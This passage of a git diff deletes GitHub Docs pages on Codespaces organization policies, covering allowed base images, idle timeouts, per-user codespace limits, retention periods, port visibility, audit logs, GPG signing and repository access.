'*' -type: how_to -topics: - - Codespaces -product: '{% data reusables.gated-features.codespaces-org %}' ---- - -## Overview - -When you create a codespace, a development container is automatically created on a remote virtual machine. This dev container is created from a Docker image. The image is effectively a template for Docker containers and it determines many aspects of the resulting environment provided by the codespace. For more information, see [AUTOTITLE](/codespaces/quickstart#introduction). - -You can choose which image you want to use for your codespaces by specifying it in the dev container configuration for a repository. You can do this, for example, by using the `image` property in the `devcontainer.json` file. - -```json copy -"image": "mcr.microsoft.com/devcontainers/javascript-node:18", -``` - -For more information, see the [dev containers specification](https://containers.dev/implementors/json_reference/#image-specific) on the Development Containers website. - -Alternatively, you can specify the base image in a Dockerfile. For more information, see [AUTOTITLE](/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/introduction-to-dev-containers#dockerfile). - -If you don't specify an image in the dev container configuration for a repository, the default dev container image is used. The default image contains a number of runtime versions for popular languages and commonly used tools. For more information, see [AUTOTITLE](/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/introduction-to-dev-containers#using-the-default-dev-container-configuration). - -As an organization owner, you can add a policy to restrict which dev container images can be used for codespaces created within your organization. - -If you attempt to create a codespace using a `devcontainer.json` that specifies an image that is not allowed by the policy, the following message is displayed in {% data variables.product.github %}: - -> The codespace cannot be created because the image specified in your dev container configuration is not allowed. You may need to select a different branch, modify your container configuration, or adjust your organization's policy setting. - -Using the CLI, the error message is: - -> error creating codespace: HTTP 400: Base image 'IMAGE-REFERENCE' is not allowed based on an organization policy set by your organization administrator. - -If the image for a codespace is specified in a Dockerfile, and does not match the policy, a codespace is created in recovery mode, using the default recovery container rather than the specified image. A message to this effect is included at the end of the creation log. For more information about the creation log, see [AUTOTITLE](/codespaces/troubleshooting/github-codespaces-logs#creation-logs). - -> [!NOTE] -> * The dev container base image should not be confused with the host image. The host image is the image used to build the virtual machine on which the dev container runs. For more information, see [AUTOTITLE](/codespaces/setting-your-user-preferences/choosing-the-stable-or-beta-host-image). -> * The base image policy is applied when a codespace is created, and when you perform a full container rebuild. For more information, see [AUTOTITLE](/codespaces/about-codespaces/understanding-the-codespace-lifecycle#rebuilding-a-codespace). -> * The base image policy does not apply to the default image, or the image that's used to recover a codespace if an error is introduced into a dev container configuration which prevents the container from being rebuilt. - -### Setting organization-wide and repository-specific policies - -When you create a policy you choose whether it applies to all repositories in your organization, or only to specified repositories. If you set an organization-wide policy then any policies you set for individual repositories must fall within the restriction set at the organization level. Adding policies makes the choice of image more, not less, restrictive. - -For example, you could create an organization-wide policy that restricts the base image to any of ten specified images. You can then set a policy for Repository A that restricts the image to a subset of just two of the images specified at the organization level. Specifying additional images for Repository A will have no effect because these images are not specified in the organization-level policy. If you add an organization-wide policy, you should set it to the largest choice of images that will be available for any repository in your organization. You can then add repository-specific policies to further restrict the choice. - -{% data reusables.codespaces.codespaces-org-policies-note %} - -## Adding a policy to define the allowed images - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.codespaces.codespaces-org-policies %} -1. Click **Add constraint** and choose **Base images**. -1. Click {% octicon "pencil" aria-label="Edit policy" %} to edit the constraint. -1. In the "Allowed values" field, enter the image reference of the Docker image you want to allow. - - ![Screenshot of the image reference "mcr.microsoft.com/devcontainers/java" entered in the "Allowed values" field.](/assets/images/help/codespaces/image-allowed-values.png) - - You can use the `*` wildcard as the last character of the image reference to match all images that start with the same reference to the left of the wildcard. For example, `mcr.microsoft.com/devcontainers/*`. - -1. Click {% octicon "plus" aria-label="Add button" %} to add the value. -1. If required, repeat the previous two steps to add more image references. - - When you add multiple image references, if an image reference specified in the dev container configuration of a repository does not match any of the references in a policy that applies to the repository, you will not be able to create codespaces for that repository. - -1. Click outside of the dialog box to close it. -{% data reusables.codespaces.codespaces-policy-targets %} -1. If you want to add another constraint to the policy, click **Add constraint** and choose another constraint. For information about other constraints, see: - * [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types) - * [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/restricting-the-number-of-organization-billed-codespaces-a-user-can-create) - * [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/restricting-the-visibility-of-forwarded-ports) - * [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/restricting-the-idle-timeout-period) - * [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/restricting-the-retention-period-for-codespaces) - -1. After you've finished adding constraints to your policy, click **Save**. - -The policy is applied when anyone attempts to create a new codespace that is billable to your organization. The base image constraint does not affect existing codespaces, either active or stopped. - -## Editing a policy - -You can edit an existing policy. For example, you may want to add or remove constraints to or from a policy. - -1. Display the "Codespaces policies" page. For more information, see [Adding a policy to define the allowed images](#adding-a-policy-to-define-the-allowed-images). -1. Click the name of the policy you want to edit. -1. Beside the "Base images" constraint, click {% octicon "pencil" aria-label="Edit policy" %}. -1. Add or remove image references. -1. Click **Save**. - -## Deleting a policy - -1. Display the "Codespaces policies" page. For more information, see [Adding a policy to define the allowed images](#adding-a-policy-to-define-the-allowed-images). -{% data reusables.codespaces.delete-codespace-policy %} diff --git a/content/codespaces/managing-codespaces-for-your-organization/restricting-the-idle-timeout-period.md b/content/codespaces/managing-codespaces-for-your-organization/restricting-the-idle-timeout-period.md deleted file mode 100644 index c7c49650410e..000000000000 --- a/content/codespaces/managing-codespaces-for-your-organization/restricting-the-idle-timeout-period.md +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: Restricting the idle timeout period -shortTitle: Restrict timeout periods -intro: You can set a maximum timeout period for any codespaces owned by your organization. -permissions: 'To manage timeout constraints for an organization''s codespaces, you must be an owner of the organization.' -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Codespaces -product: '{% data reusables.gated-features.codespaces-org %}' ---- - -## Overview - -By default, codespaces time out after 30 minutes of inactivity. When a codespace times out it is stopped and will no longer incur charges for compute usage. - -The personal settings of a {% data variables.product.prodname_dotcom %} user allow them to define their own timeout period for codespaces they create. This may be longer than the default 30-minute period. For more information, see [AUTOTITLE](/codespaces/setting-your-user-preferences/setting-your-timeout-period-for-github-codespaces). - -As an organization owner, you may want to configure constraints on the maximum idle timeout period for codespaces created for repositories owned by your organization. This can help you to limit costs associated with codespaces that are left to timeout after long periods of inactivity. You can set a maximum timeout for the codespaces for all repositories owned by your organization, or for the codespaces of specific repositories. - -> [!NOTE] -> Maximum idle timeout constraints only apply to codespaces that are owned by your organization. - -For more information about pricing for {% data variables.product.prodname_github_codespaces %} compute usage, see [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/about-billing-for-github-codespaces#codespaces-pricing). - -### Inactivity defined - -{% data reusables.codespaces.inactivity-definition %} - -### Behavior when you set a maximum idle timeout constraint - -If someone sets the default idle timeout to 90 minutes in their personal settings and they then start a codespace for a repository that has a maximum idle timeout constraint of 60 minutes, the codespace will time out after 60 minutes of inactivity. When codespace creation completes, a message explaining this will be displayed: - -> Idle timeout for this codespace is set to 60 minutes in compliance with your organization’s policy. - -### Setting organization-wide and repository-specific policies - -When you create a policy, you choose whether it applies to all repositories in your organization, or only to specified repositories. If you create an organization-wide policy with a timeout constraint, then the timeout constraints in any policies that are targeted at specific repositories must fall within the restriction configured for the entire organization. The shortest timeout period - in an organization-wide policy, a policy targeted at specified repositories, or in someone's personal settings - is applied. - -If you add an organization-wide policy with a timeout constraint, you should set the timeout to the longest acceptable period. You can then add separate policies that set the maximum timeout to a shorter period for specific repositories in your organization. - -{% data reusables.codespaces.codespaces-org-policies-note %} - -## Adding a policy to set a maximum idle timeout period - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.codespaces.codespaces-org-policies %} -1. Click **Add constraint** and choose **Maximum idle timeout**. -1. Click {% octicon "pencil" aria-label="Edit policy" %} to edit the constraint. -1. Enter the maximum number of minutes codespaces can remain inactive before they time out, then click **Save**. - - ![Screenshot of a dropdown with a field labeled "Maximum value" set to 60 minutes. To the right of the field is a "Save" button.](/assets/images/help/codespaces/maximum-minutes-timeout.png) - -{% data reusables.codespaces.codespaces-policy-targets %} -1. If you want to add another constraint to the policy, click **Add constraint** and choose another constraint. For information about other constraints, see: - * [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types) - * [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/restricting-the-number-of-organization-billed-codespaces-a-user-can-create) - * [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/restricting-the-base-image-for-codespaces) - * [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/restricting-the-visibility-of-forwarded-ports) - * [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/restricting-the-retention-period-for-codespaces) - -1. After you've finished adding constraints to your policy, click **Save**. - -The policy will be applied to all new codespaces that are billable to your organization. The timeout constraint is also applied to existing codespaces the next time they are started. - -## Editing a policy - -You can edit an existing policy. For example, you may want to add or remove constraints to or from a policy. - -1. Display the "Codespaces policies" page. For more information, see [Adding a policy to set a maximum idle timeout period](#adding-a-policy-to-set-a-maximum-idle-timeout-period). -1. Click the name of the policy you want to edit. -1. Beside the "Maximum idle timeout" constraint, click {% octicon "pencil" aria-label="Edit policy" %}. -1. Make the required changes then click **Save**. - -## Deleting a policy - -1. Display the "Codespaces policies" page. For more information, see [Adding a policy to set a maximum idle timeout period](#adding-a-policy-to-set-a-maximum-idle-timeout-period). -{% data reusables.codespaces.delete-codespace-policy %} diff --git a/content/codespaces/managing-codespaces-for-your-organization/restricting-the-number-of-organization-billed-codespaces-a-user-can-create.md b/content/codespaces/managing-codespaces-for-your-organization/restricting-the-number-of-organization-billed-codespaces-a-user-can-create.md deleted file mode 100644 index 8c7b7967a2f1..000000000000 --- a/content/codespaces/managing-codespaces-for-your-organization/restricting-the-number-of-organization-billed-codespaces-a-user-can-create.md +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: Restricting the number of organization-billed codespaces a user can create -shortTitle: Restrict codespace creation -intro: 'You can specify the maximum number of codespaces that any member of your organization, or collaborator, can create for the repositories in your organization.' -permissions: 'To manage this constraint for an organization, you must be an owner of the organization.' -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Codespaces -product: '{% data reusables.gated-features.codespaces-org %}' ---- - -## Overview - -By default, if organization members, or collaborators, are permitted to create codespaces that are billable to your organization, they can create multiple such codespaces. The number of organization-billed codespaces someone can create is governed by a limit to the total number of codespaces that they can create across all repositories they can access. This limit is set by {% data variables.product.company_short %}. - -As an organization owner, you can restrict the number of codespaces that each user can create, where the costs of the codespace are billable to the organization. This can help to reduce the overall cost of {% data variables.product.prodname_github_codespaces %} to the organization, as there is a charge for codespace storage. For more information, see [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/about-billing-for-github-codespaces#about-billing-for-storage-usage). - -To restrict the maximum number of organization-billed codespaces that users can create, you create a policy in the {% data variables.product.prodname_codespaces %} settings for your organization. For example, if you set the maximum to 2, users who already have 2 active or stopped codespaces that are billed to your organization will have to delete one of these before they can create a new codespace that's billed to the organization. - -This setting does not restrict users from creating codespaces that are not billed to your organization. For example, they can create additional codespaces for public repositories, using their personal {% data variables.product.prodname_codespaces %} usage allowance. However, users who are permitted to create organization-billed codespaces, but have reached the limit for such codespaces, cannot choose to create a codespace for an organization-owned repository using their personal included allowance. - -For information about the free use of {% data variables.product.prodname_github_codespaces %} for personal accounts, see [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/about-billing-for-github-codespaces#monthly-included-storage-and-core-hours-for-personal-accounts). For information on how to choose who can create codespaces that are billed to your organization, see [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/enabling-or-disabling-github-codespaces-for-your-organization#choose-who-can-create-codespaces-that-are-billed-to-your-organization). - -Policies with the "Maximum codespaces per user" constraint are applied to every repository in your organization. You can't, therefore, add this constraint to an existing policy that is configured to apply only to selected repositories. - -## Adding a policy to define the maximum codespaces per user - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.codespaces.codespaces-org-policies %} -1. Click **Add constraint** and choose **Maximum codespaces per user**. -1. Click {% octicon "pencil" aria-label="Edit policy" %} to edit the constraint. -1. In the "Maximum value" field, enter the maximum number of organization-billed codespaces that each user can create. - - ![Screenshot of the 'Maximum value' dialog with the value '2' being entered, and 'Cancel' and 'Save' buttons.](/assets/images/help/codespaces/maximum-value-policy-setting.png) - -1. Click **Save**. -1. If you want to add another constraint to the policy, click **Add constraint** and choose another constraint. For information about other constraints, see: - * [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types) - * [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/restricting-the-base-image-for-codespaces) - * [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/restricting-the-visibility-of-forwarded-ports) - * [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/restricting-the-idle-timeout-period) - * [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/restricting-the-retention-period-for-codespaces) - - > [!NOTE] - > When you add a constraint to a policy that already contains the "Maximum codespaces per user" constraint, you won't be able to restrict the additional constraint to specific repositories, as the "Maximum codespaces per user" constraint applies to all repositories in the organization. - -1. After you've finished adding constraints to your policy, click **Save**. - -The policy is applied when anyone attempts to create a new codespace that is billable to your organization. - -## Editing a policy - -You can edit an existing policy. For example, you may want to add or remove constraints to or from a policy. - -1. Display the "Codespaces policies" page. For more information, see [Adding a policy to define the maximum codespaces per user](#adding-a-policy-to-define-the-maximum-codespaces-per-user). -1. Click the name of the policy you want to edit. -1. Beside the "Maximum codespaces per user" constraint, click {% octicon "pencil" aria-label="Edit policy" %}. -1. Edit the maximum number of codespaces. -1. Click **Save**. - -## Deleting a policy - -1. Display the "Codespaces policies" page. For more information, see [Adding a policy to define the maximum codespaces per user](#adding-a-policy-to-define-the-maximum-codespaces-per-user). -1. Click {% octicon "trash" aria-label="The trash can icon" %} to the right of the policy you want to delete. diff --git a/content/codespaces/managing-codespaces-for-your-organization/restricting-the-retention-period-for-codespaces.md b/content/codespaces/managing-codespaces-for-your-organization/restricting-the-retention-period-for-codespaces.md deleted file mode 100644 index ef42f72324ae..000000000000 --- a/content/codespaces/managing-codespaces-for-your-organization/restricting-the-retention-period-for-codespaces.md +++ /dev/null @@ -1,79 +0,0 @@ ---- -title: Restricting the retention period for codespaces -shortTitle: Restrict the retention period -intro: You can set a maximum retention period for any codespaces owned by your organization. -permissions: 'To manage retention constraints for an organization''s codespaces, you must be an owner of the organization.' -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Codespaces -product: '{% data reusables.gated-features.codespaces-org %}' ---- - -## Overview - -{% data reusables.codespaces.automatic-deletion %} - -{% data variables.product.prodname_dotcom %} users can set a personal retention period of less than 30 days for codespaces they create. For more information, see [AUTOTITLE](/codespaces/setting-your-user-preferences/configuring-automatic-deletion-of-your-codespaces). - -As an organization owner, you may want to configure constraints on the maximum retention period for codespaces created for the repositories owned by your organization. This can help you to limit the storage costs associated with codespaces that are stopped and then left unused until they are automatically deleted. For more information about storage charges, see [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/about-billing-for-github-codespaces#codespaces-pricing). You can set a maximum retention period for all, or for specific, repositories owned by your organization. - -> [!NOTE] -> Setting a maximum retention policy for a repository prevents people from exempting a codespace from automatic deletion. The "Keep codespace" option will be unavailable for codespaces created for that repository. For more information, see [AUTOTITLE](/codespaces/setting-your-user-preferences/configuring-automatic-deletion-of-your-codespaces?tool=webui#avoiding-automatic-deletion-of-codespaces). - -### Setting organization-wide and repository-specific policies - -When you create a policy, you choose whether it applies to all repositories in your organization, or only to specified repositories. If you create an organization-wide policy with a codespace retention constraint, then the retention constraints in any policies that are targeted at specific repositories should be shorter than the restriction configured for the entire organization, or they will have no effect. The shortest retention period - in an organization-wide policy, a policy targeted at specified repositories, or the default retention period in someone's personal settings - is applied. - -If you add an organization-wide policy with a retention constraint, you should set the retention period to the longest acceptable period. You can then add separate policies that set the maximum retention to a shorter period for specific repositories in your organization. - -{% data reusables.codespaces.codespaces-org-policies-note %} - -## Adding a policy to set a maximum codespace retention period - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.codespaces.codespaces-org-policies %} -1. Click **Add constraint** and choose **Retention period**. -1. Click {% octicon "pencil" aria-label="Edit policy" %} to edit the constraint. -1. Enter the maximum number of days codespaces can remain stopped before they are automatically deleted, then click **Save**. - - ![Screenshot of a dropdown with a field labeled "Maximum value" set to 8 days. Below this are "Cancel" and "Save" buttons.](/assets/images/help/codespaces/maximum-days-retention.png) - - > [!NOTE] - > * A day, in this context, is a 24-hour period, beginning at the time of day when the codespace was stopped. - > * The valid range is 0-30 days. - > * Setting the period to `0` will result in codespaces being immediately deleted when they are stopped, or when they timeout due to inactivity. - -{% data reusables.codespaces.codespaces-policy-targets %} -1. If you want to add another constraint to the policy, click **Add constraint** and choose another constraint. For information about other constraints, see: - * [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types) - * [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/restricting-the-number-of-organization-billed-codespaces-a-user-can-create) - * [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/restricting-the-base-image-for-codespaces) - * [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/restricting-the-visibility-of-forwarded-ports) - * [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/restricting-the-idle-timeout-period) - -1. After you've finished adding constraints to your policy, click **Save**. - -The policy will be applied to all new codespaces that are billable to your organization. The retention period constraint is only applied on codespace creation. - -## Editing a policy - -You can edit an existing policy. For example, you may want to add or remove constraints to or from a policy. - -The retention period constraint is only applied to codespaces when they are created. Editing a policy has no effect on existing codespaces. - -1. Display the "Codespaces policies" page. For more information, see [Adding a policy to set a maximum codespace retention period](#adding-a-policy-to-set-a-maximum-codespace-retention-period). -1. Click the name of the policy you want to edit. -1. Beside the "Retention period" constraint, click {% octicon "pencil" aria-label="Edit policy" %}. -1. Make the required changes then click **Save**. - -## Deleting a policy - -You can delete a policy at any time. Deleting a policy has no effect on existing codespaces. - -1. Display the "Codespaces policies" page. For more information, see [Adding a policy to set a maximum codespace retention period](#adding-a-policy-to-set-a-maximum-codespace-retention-period). -1. Click the delete button to the right of the policy you want to delete. -{% data reusables.codespaces.delete-codespace-policy %} diff --git a/content/codespaces/managing-codespaces-for-your-organization/restricting-the-visibility-of-forwarded-ports.md b/content/codespaces/managing-codespaces-for-your-organization/restricting-the-visibility-of-forwarded-ports.md deleted file mode 100644 index 6580c87d8e10..000000000000 --- a/content/codespaces/managing-codespaces-for-your-organization/restricting-the-visibility-of-forwarded-ports.md +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: Restricting the visibility of forwarded ports -shortTitle: Restrict port visibility -intro: You can set constraints on the visibility options users can choose when they forward ports from codespaces in your organization. -permissions: 'To manage access to port visibility constraints for the repositories in an organization, you must be an owner of the organization.' -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Codespaces -product: '{% data reusables.gated-features.codespaces-org %}' ---- - -## Overview - -Typically, within a codespace you are able to forward ports privately (only to yourself), to members of your organization, or publicly (to anyone with the URL). For more information, see [AUTOTITLE](/codespaces/developing-in-a-codespace/forwarding-ports-in-your-codespace). - -As an organization owner, you may want to configure constraints on the visibility options users can set when forwarding ports. For example, for security reasons, you may want to disallow public port forwarding. You do this by defining one or more policies in the {% data variables.product.prodname_github_codespaces %} settings for your organization. - -### Behavior when you set a port visibility constraint - -If there are existing codespaces that no longer conform to a policy you have defined, these codespaces will continue to operate until they are stopped or time out. When the user resumes the codespace, it will be subject to the policy constraints. - -> [!NOTE] -> You can't disable private port forwarding, as private port forwarding is required by {% data variables.product.prodname_github_codespaces %} to continue working as designed, for example to forward SSH on port 22. - -### Setting organization-wide and repository-specific policies - -When you create a policy you choose whether it applies to all repositories in your organization, or only to specified repositories. If you set an organization-wide policy then any policies you set for individual repositories must fall within the restriction set at the organization level. Adding policies makes the choice of visibility options more, not less, restrictive. - -For example, you could create an organization-wide policy that restricts the visibility options to organization only. You can then set a policy for Repository A that disallows both public and organization visibility, which would result in only private port forwarding being available for this repository. Setting a policy for Repository A that allowed both public and organization would result in only organization visibility, because the organization-wide policy does not allow public visibility. - -If you add an organization-wide policy, you should set it to the most lenient visibility option that will be available for any repository in your organization. You can then add repository-specific policies to further restrict the choice. - -{% data reusables.codespaces.codespaces-org-policies-note %} - -## Adding a policy to limit the port visibility options - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.codespaces.codespaces-org-policies %} -1. Click **Add constraint** and choose **Port visibility**. -1. Click {% octicon "pencil" aria-label="Edit policy" %} to edit the constraint. -1. Clear the selection of the port visibility options (**Org** or **Public**) that you don't want to be available. - - ![Screenshot of the "Allowed values" dropdown, with two checkboxes. "Org" is selected and "Public" is cleared.](/assets/images/help/codespaces/choose-port-visibility-options.png) - -1. Click outside of the dialog box to close it. -{% data reusables.codespaces.codespaces-policy-targets %} -1. If you want to add another constraint to the policy, click **Add constraint** and choose another constraint. For information about other constraints, see: - * [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types) - * [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/restricting-the-number-of-organization-billed-codespaces-a-user-can-create) - * [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/restricting-the-base-image-for-codespaces) - * [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/restricting-the-idle-timeout-period) - * [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/restricting-the-retention-period-for-codespaces) - -1. After you've finished adding constraints to your policy, click **Save**. - -The policy will be applied to all new codespaces that are billable to your organization. The port visibility constraint is also applied to existing codespaces the next time they are started. - -## Editing a policy - -You can edit an existing policy. For example, you may want to add or remove constraints to or from a policy. - -1. Display the "Codespaces policies" page. For more information, see [Adding a policy to limit the port visibility options](#adding-a-policy-to-limit-the-port-visibility-options). -1. Click the name of the policy you want to edit. -1. Beside the "Port visibility" constraint, click {% octicon "pencil" aria-label="Edit policy" %}. -1. Make the required changes then click **Save**. - -## Deleting a policy - -1. Display the "Codespaces policies" page. For more information, see [Adding a policy to limit the port visibility options](#adding-a-policy-to-limit-the-port-visibility-options). -{% data reusables.codespaces.delete-codespace-policy %} diff --git a/content/codespaces/managing-codespaces-for-your-organization/reviewing-your-organizations-audit-logs-for-github-codespaces.md b/content/codespaces/managing-codespaces-for-your-organization/reviewing-your-organizations-audit-logs-for-github-codespaces.md deleted file mode 100644 index 3ddd61f18bf3..000000000000 --- a/content/codespaces/managing-codespaces-for-your-organization/reviewing-your-organizations-audit-logs-for-github-codespaces.md +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: Reviewing your organization's audit logs for GitHub Codespaces -shortTitle: Audit logs -intro: 'You can use the audit log to review all actions related to {% data variables.product.prodname_github_codespaces %}.' -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Codespaces - - Security - - Administrator -redirect_from: - - /codespaces/managing-codespaces-for-your-organization/reviewing-your-organizations-audit-logs-for-codespaces -product: '{% data reusables.gated-features.codespaces-org %}' ---- - -When any member of your organization performs an action related to {% data variables.product.prodname_github_codespaces %}, you can review the actions in the audit log. For information about accessing the log, see [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#accessing-the-audit-log). - -![Screenshot of the "Audit log" page for an organization, showing the "Recent events" list.](/assets/images/help/codespaces/codespaces-audit-log-org.png) - -The audit log includes details such as who performed the action, what the action was, and when the action was performed. For information on {% data variables.product.prodname_github_codespaces %} actions, see [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/audit-log-events-for-your-organization#codespaces). - -## Further reading - -* [AUTOTITLE](/codespaces/managing-your-codespaces/reviewing-your-security-logs-for-github-codespaces) -* [AUTOTITLE](/codespaces/troubleshooting/github-codespaces-logs) diff --git a/content/codespaces/managing-your-codespaces/index.md b/content/codespaces/managing-your-codespaces/index.md deleted file mode 100644 index 246021e30257..000000000000 --- a/content/codespaces/managing-your-codespaces/index.md +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: Managing your codespaces -intro: 'You can use {% data variables.product.prodname_github_codespaces %} settings to manage information that your codespace might need.' -versions: - fpt: '*' - ghec: '*' -topics: - - Codespaces -redirect_from: - - /codespaces/working-with-your-codespace -children: - - /managing-your-account-specific-secrets-for-github-codespaces - - /managing-repository-access-for-your-codespaces - - /reviewing-your-security-logs-for-github-codespaces - - /managing-gpg-verification-for-github-codespaces ---- diff --git a/content/codespaces/managing-your-codespaces/managing-gpg-verification-for-github-codespaces.md b/content/codespaces/managing-your-codespaces/managing-gpg-verification-for-github-codespaces.md deleted file mode 100644 index 71dc8fa4145a..000000000000 --- a/content/codespaces/managing-your-codespaces/managing-gpg-verification-for-github-codespaces.md +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: Managing GPG verification for GitHub Codespaces -intro: 'You can allow {% data variables.product.company_short %} to automatically use GPG to sign commits you make in your codespaces, so other people can be confident that the changes come from a trusted source.' -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Codespaces - - Developer - - Security -redirect_from: - - /github/developing-online-with-codespaces/managing-gpg-verification-for-codespaces - - /codespaces/working-with-your-codespace/managing-gpg-verification-for-codespaces - - /codespaces/managing-your-codespaces/managing-gpg-verification-for-codespaces -shortTitle: GPG verification ---- - -## About GPG verification in {% data variables.product.prodname_github_codespaces %} - -After you enable GPG verification, {% data variables.product.company_short %} will automatically sign commits you make in {% data variables.product.prodname_github_codespaces %}, and the commits will have a verified status on {% data variables.product.github %}. For more information about {% data variables.product.github %}-signed commits, see [AUTOTITLE](/authentication/managing-commit-signature-verification/about-commit-signature-verification). - -By default, GPG verification is disabled for codespaces you create. If you enable GPG verification, your commits are signed in repositories that you trust. - -{% data reusables.codespaces.settings-sync-and-gpg %} - -For more information about managing your preferences for Settings Sync, see [AUTOTITLE](/codespaces/setting-your-user-preferences/personalizing-github-codespaces-for-your-account#managing-your-preferences-for-settings-sync). - -> [!NOTE] -> If you have linked a dotfiles repository with {% data variables.product.prodname_github_codespaces %}, the Git configuration in your dotfiles may conflict with the configuration that {% data variables.product.prodname_github_codespaces %} requires to sign commits. For more information, see [AUTOTITLE](/codespaces/troubleshooting/troubleshooting-gpg-verification-for-github-codespaces). - -## Enabling or disabling GPG verification - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.codespaces-tab %} -1. On the page that's displayed, under "GPG verification," enable or disable GPG verification by selecting or deselecting **Enable**. -{% data reusables.codespaces.trusted-repos-step %} - -{% data reusables.codespaces.gpg-in-active-codespaces %} - -## Further reading - -* [AUTOTITLE](/codespaces/setting-your-user-preferences) -* [AUTOTITLE](/codespaces/customizing-your-codespace) diff --git a/content/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces.md b/content/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces.md deleted file mode 100644 index 3b1e60ce1767..000000000000 --- a/content/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces.md +++ /dev/null @@ -1,126 +0,0 @@ ---- -title: Managing access to other repositories within your codespace -allowTitleToDifferFromFilename: true -shortTitle: Repository access -intro: 'You can manage the repositories that {% data variables.product.prodname_github_codespaces %} can access.' -versions: - fpt: '*' - ghec: '*' -topics: - - Codespaces - - Security -redirect_from: - - /codespaces/managing-your-codespaces/managing-access-and-security-for-your-codespaces - - /codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces ---- - -## Overview - -By default, your codespace is assigned a token scoped with `read` permission or `read` and `write` permission to the repository from which it was created. The scope of this token changes automatically in the following circumstances. -* If you create a codespace for a repository to which you only have read access, then make a commit in the codespace or push a new branch, {% data variables.product.prodname_github_codespaces %} automatically links your codespace to a new or existing fork of the repository and updates the token to have `read` and `write` permission to the fork. For more information, see [AUTOTITLE](/codespaces/developing-in-a-codespace/using-source-control-in-your-codespace#about-automatic-forking). -* If you create a codespace from a template, then publish the codespace to a new repository, {% data variables.product.prodname_github_codespaces %} updates the token to have `read` and `write` permission to the new repository. For more information, see [AUTOTITLE](/codespaces/developing-in-a-codespace/creating-a-codespace-from-a-template#publishing-to-a-repository-on-github). - -For more information, see [AUTOTITLE](/codespaces/reference/security-in-github-codespaces#authentication). - -If your project needs additional permissions for other repositories, you can configure this in the `devcontainer.json` file, as described in [Setting additional repository permissions](#setting-additional-repository-permissions) later in this article. When permissions are listed in the `devcontainer.json` file, you will be prompted to review and authorize the additional permissions as part of codespace creation for that repository. Once you've authorized the listed permissions, {% data variables.product.prodname_github_codespaces %} will remember your choice and will not prompt you for authorization unless the permissions in the `devcontainer.json` file change. - -> [!NOTE] -> Updating the permissions in the `devcontainer.json` file does not change the permissions of existing codespaces. If you need additional permissions in an existing codespace, see [AUTOTITLE](/codespaces/troubleshooting/troubleshooting-authentication-to-a-repository#authenticating-to-repositories-that-you-didnt-create-the-codespace-from). - -## Creating codespaces with custom permissions - -To create a codespace with custom permissions, you must use one of the following: -* The {% data variables.product.prodname_dotcom %} web UI -* [{% data variables.product.prodname_dotcom %} CLI](https://github.com/cli/cli/releases/latest) 2.5.2 or later -* [{% data variables.product.prodname_github_codespaces %} {% data variables.product.prodname_vscode %} extension](https://marketplace.visualstudio.com/items?itemName=GitHub.codespaces) 1.5.3 or later - -## Setting additional repository permissions - -You configure repository permissions for {% data variables.product.prodname_github_codespaces %} in a `devcontainer.json` file. Any custom permissions you add or change will only apply to new codespaces created after your changes have been committed to the repository. If you add or change permissions from within a codespace those permissions will not apply to the current codespace, even if you rebuild the codespace. - -1. If your repository does not already contain a `devcontainer.json` file, add 